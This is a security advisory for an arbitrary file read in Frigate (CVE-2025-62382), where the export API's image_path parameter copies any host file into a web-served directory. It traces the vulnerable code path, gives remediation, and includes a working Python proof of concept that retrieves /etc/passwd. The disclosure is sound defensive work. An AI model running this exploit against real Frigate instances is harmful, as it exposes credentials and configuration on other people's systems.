Skip to content

Arbitrary File Read via Export Thumbnail "image_path" parameter

High
blakeblackshear published GHSA-8gv4-5jr9-v96j Oct 15, 2025

Package

frigate

Affected versions

<= 0.16.1

Patched versions

>= 0.16.2

Description

Important: Exploiting this vulnerability requires the attacker to have access to your Frigate instance, which means they could also just delete all of your recordings or perform any other action. If you have configured authentication in front of Frigate via a reverse proxy, then this vulnerability is not exploitable without first getting around your authentication method. For many obvious reasons in addition to this one, please don't expose your Frigate instance publicly without any kind of authentication.

Executive Summary

Frigate's export workflow allows an authenticated operator to nominate any filesystem location as the thumbnail source for a video export. Because that path is copied verbatim into the publicly served clips directory, the feature can be abused to read arbitrary files that reside on the host running Frigate. In practice, a low-privilege user with API access can pivot from viewing camera footage to exfiltrating sensitive configuration files, secrets, or user data from the appliance itself. This behavior violates the principle of least privilege for the export subsystem and turns a convenience feature into a direct information disclosure vector, with exploitation hinging on a short race window while the background exporter copies the chosen file into place before cleanup runs.

Technical Description

  • The FastAPI route POST /api/export/{camera_name}/start/{start_time}/end/{end_time} (frigate/api/export.py) instantiates a RecordingExporter background thread with the caller-supplied JSON payload, including the optional image_path. The RecordingExporter constructor in frigate/record/export.py stores that value in self.user_provided_image without validation. When RecordingExporter.save_thumbnail() executes (triggered as part of the export thread's run() method), it first checks os.path.isfile(self.user_provided_image); upon success, it uses shutil.copy to copy the referenced file to /media/frigate/clips/export/{export_id}.webp, a location that is web-accessible via the bundled nginx configuration. The export metadata (including thumb_path) is inserted into the export table, making the copied file reachable through /api/exports and ultimately through the /clips/export/<id>.webp static path. No path canonicalization, directory allowlisting, or privilege boundary exists between the user-controlled image_path field and the server-side filesystem, so any readable file the Frigate process can access becomes exposed. The nginx configuration (docker/main/rootfs/usr/local/nginx/conf/nginx.conf) publishes /media/frigate/clips/ with caching headers, so the copied file is immediately downloadable until the background thread deletes it. Because the copy occurs before sanitization or cleanup, even transient files such as /etc/passwd are retrievable.

  • Timing characteristics: exploitation is subject to a race because the exporter runs asynchronously. The thumbnail file is created when shutil.copy completes and remains accessible only until later logic deletes it or the export thread exits. In testing, introducing a brief polling loop (for example, waiting for in_progress to clear or sleeping 0.5–1 second) reliably captures the file; without that pause, rapid follow-up requests may occasionally see a 404 if nginx serves the path before the copy completes or after cleanup removes the artifact.

Vulnerable Code Flow

  • Impact: Copies attacker-selected host files into a static web directory, resulting in direct disclosure of sensitive data (credentials, configuration, API keys) to any party with authenticated HTTP access.
  • Why unintended: Neither product documentation nor in-line comments indicate that arbitrary server-side files should be exposed during export; the behavior contradicts expected export semantics, which should only handle camera-generated media.
  • Complete source->sink flow (full paths with line numbers):
    1. frigate/api/export.py:41Source: existing_image = body.image_path (FastAPI request body accepts unsanitized user input).
    2. frigate/record/export.py:61Propagation: self.user_provided_image = image (constructor saves the raw path on the exporter instance).
    3. frigate/record/export.py:86-92Sink: shutil.copy(self.user_provided_image, thumb_path) (copies the attacker-controlled path into /media/frigate/clips/export/{id}.webp).
    4. frigate/record/export.py:347-358Persistence: Export.insert({... Export.thumb_path: thumb_path, ...}) (stores the web-facing path in the database row for later retrieval).
    5. frigate/api/export.py:32-35Disclosure path: GET /api/exports exposes the thumb_path field to clients via JSON.
    6. docker/main/rootfs/usr/local/nginx/conf/nginx.conf:138-156Static serving: nginx location /clips/ serves files from /media/frigate, making /clips/export/{id}.webp directly downloadable.

Proof of Concept

  1. Start Frigate in Docker for ease of setup.
  2. Create an account on frigate.
  3. exploit with PoC provided.
#!/usr/bin/env python3
import time
import requests
import urllib3

urllib3.disable_warnings()

BASE = "https://FRIGATE_HOST:8971"
USERNAME = "admin"
PASSWORD = "admin"
TARGET = "/etc/passwd"  # any readable host file works

session = requests.Session()
session.verify = False

# 1. Authenticate to obtain the JWT cookie.
session.post(
    f"{BASE}/api/login",
    json={"user": USERNAME, "password": PASSWORD},
    timeout=5,
)

# 2. Launch an export that references the sensitive file as the thumbnail.
now = int(time.time())
payload = {
    "playback": "realtime",
    "source": "preview",
    "name": "leak",
    "image_path": TARGET,
}
resp = session.post(
    f"{BASE}/api/export/name_of_your_camera/start/{now-30}/end/{now}",
    json=payload,
    timeout=5,
)
export_id = resp.json()["export_id"]

# 3. Immediately pull the published thumbnail before the worker cleans it up.
leaked = session.get(
    f"{BASE}/clips/export/{export_id}.webp",
    timeout=5,
)
print(leaked.text)

Remediation

  • Reject absolute paths and enforce an allowlist rooted within Frigate-managed media directories before copying.
  • Prefer accepting uploaded thumbnails or references to existing Frigate assets instead of raw filesystem paths.
  • If retaining image_path, canonicalize with Path(image_path).resolve() and verify it resides in an expected directory (e.g., /media/frigate/) before copying; otherwise raise an error.
  • Consider storing thumbnails outside of the web-served tree unless explicitly intended for exposure.

Credits

Enrico Masala - Security Researcher

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVE ID

CVE-2025-62382

Weaknesses

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

Credits